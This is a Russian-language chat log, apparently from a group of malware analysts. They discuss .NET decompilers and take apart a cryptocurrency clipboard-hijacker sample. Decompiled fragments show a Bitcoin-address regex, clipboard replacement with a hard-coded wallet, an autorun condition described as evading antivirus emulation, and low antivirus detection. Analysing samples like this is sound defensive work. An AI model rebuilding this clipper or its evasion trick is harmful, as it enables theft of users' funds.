если уж нужно

А ведь ещё недавно про вири на дот.нет шутки были...

а тут файл на дотнете...

Такое даже реверсить скучно

ибо реверсить его не нужно

просто в декомпилере открыть

как же не люблю когда телека жмёт картинки(((

Мде

как же не люблю когда телека жмёт картинки(((

возьми у себя открой файл

давно уже 😅

SimpleAssemblyExplorer

Ну так блин:)

я рефлектор юзаю

SimpleAssemblyExplorer

но это выглядит интересней

и IlSpy и рефлектор, удобно наверное

Ну я дотнет собстна только им или dnSpy

Но чесно говоря я стараюсь с таким говном не связываться

не люблю хуи глотать

de4dot+рефлектор вот такой набор я юзаю

Но чесно говоря я стараюсь с таким говном не связываться

ибо не интересно с ним

de4dot далеко не со всем справляеться так то

не буду утверждать но ко мне такие файлы попадают из завидною регулярностю

а SimpleAssemblyExplorer лучше всё делает?

у меня какой-то мод de4dot

местами берёт лучше чем оригинал, местами хуже

а SimpleAssemblyExplorer лучше всё делает?

ну так то нет

но иногда анализить им удобней имхо

Да и в плане защит чесно говоря мой предел это de4dot или поотлаживать попорообвать

если нет я просто файл кидаю знакомому который его разложит по опкодикам независимо от защиты

мне бы такого знакомого 😅

Ну актуально это только для дотнета ^_^

потому что он пэдар

я понял что только для дотнета. а чё пэдар? потому что только с дотнетом работает?

да

:)

билд апрельский, всего 2 ав https://virustotal.com/ru/file/ca09b814a3d4d2f4fc4d61dc7505a8c142cfc1efa404365a968376f668ae0f73/analysis/

if (!object.Equals(((Match)enumerator.Current).Value, "16gvYsbR3XJRa00nUQunB1ar8fLkEKMMDs")) { string buf_local = regex.Replace(bf, "16gvYsbR3XJRa00nUQunB1ar8fLkEKMMDs"); Program.invokerControl.Invoke(new Action(delegate { Clipboard.SetDataObject(buf_local); }));

Compilation timestamp 2017-04-23 09:09:39

такой кошелек блокчейн не находит

Oops! We couldn’t find what you are looking for. Unrecognized search pattern. Please try searching for a transaction by entering a block height, address, block hash, transaction hash, hash 160 or ipv4 address. Or select from the general topics below.

ну значит не блокчейн

как бы похер что

факт что подменяет чот в буфере

и не палится уже 3 месяца

значит всем похер

Думаю к этому привело вот то подобие антиэмуляции

ибо обычно даже автозагрузка уже палиться

какое подобие антиэмуляции?

посмотри main()

увидишь

if (args[0] == "0x1" && !Program._a()) { Program._b(); }

вот да типа это

это какое-то условие для создания автозагрузки

дальше там идёт создание потока который подменяет кошелёк

new Thread(new ThreadStart(Program.func)).Start();

private static void func() { Regex regex = new Regex("[13][a-km-zA-HJ-NP-Z0-9]{26,33}", RegexOptions.IgnoreCase);

func исполняет подмену

зачем вообще это эмулировать, бери и пали, прямо по кошельку, самый тупой способ

это какое-то условие для создания автозагрузки

ну вот оно отлично работает и для антиэмулиации:)

а от хипса работает?

Ну хз знаю только что оно отлично обламаем любой антивирусный эмуль

где этот семпл попался?

ну вот от этого мисье я так понимаю

жертва дизассемблера

кто любит проги в песочнице?

можешь проанализоровать что за бомба эхэ

или не то(

хз

выше далог почитай это не тот файл

ну да

это второй

первый сейчас буду смотреть

хехе тут статик анализом не оботись нужно виртуалку подымать

потому откажусь ибо у меня игруля улетит если виртуалку поднять

ща запущу

наверно буткит судя по названию и строкам

Тогда еще на hybrid analis залей по дорожке ^_^

наверно буткит судя по названию и строкам

у меня UPX упал а анпакать на основе не хочу

больно много инфы важной